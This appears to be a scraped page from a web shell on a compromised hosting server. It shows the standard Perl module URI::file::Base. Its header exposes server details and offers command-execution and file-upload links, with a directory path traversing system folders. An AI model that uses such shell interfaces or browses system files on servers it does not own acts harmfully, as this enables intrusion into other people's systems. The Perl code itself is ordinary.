|
Server IP : 185.61.154.36 / Your IP : 216.73.216.44 Web Server : Apache System : Linux host67.registrar-servers.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64 User : gettoplisting ( 12043) PHP Version : 7.2.34 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/../usr/share/libtool/../perl5/Module/../Module/../Thread/../Module/../Net/../URI/file/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
package URI::file::Base;
use strict;
use warnings;
use URI::Escape qw();
our $VERSION = '1.73';
$VERSION = eval $VERSION;
sub new
{
my $class = shift;
my $path = shift;
$path = "" unless defined $path;
my($auth, $escaped_auth, $escaped_path);
($auth, $escaped_auth) = $class->_file_extract_authority($path);
($path, $escaped_path) = $class->_file_extract_path($path);
if (defined $auth) {
$auth =~ s,%,%25,g unless $escaped_auth;
$auth =~ s,([/?\#]), URI::Escape::escape_char($1),eg;
$auth = "//$auth";
if (defined $path) {
$path = "/$path" unless substr($path, 0, 1) eq "/";
} else {
$path = "";
}
} else {
return undef unless defined $path;
$auth = "";
}
$path =~ s,([%;?]), URI::Escape::escape_char($1),eg unless $escaped_path;
$path =~ s/\#/%23/g;
my $uri = $auth . $path;
$uri = "file:$uri" if substr($uri, 0, 1) eq "/";
URI->new($uri, "file");
}
sub _file_extract_authority
{
my($class, $path) = @_;
return undef unless $class->_file_is_absolute($path);
return $URI::file::DEFAULT_AUTHORITY;
}
sub _file_extract_path
{
return undef;
}
sub _file_is_absolute
{
return 0;
}
sub _file_is_localhost
{
shift; # class
my $host = lc(shift);
return 1 if $host eq "localhost";
eval {
require Net::Domain;
lc(Net::Domain::hostfqdn()) eq $host ||
lc(Net::Domain::hostname()) eq $host;
};
}
sub file
{
undef;
}
sub dir
{
my $self = shift;
$self->file(@_);
}
1;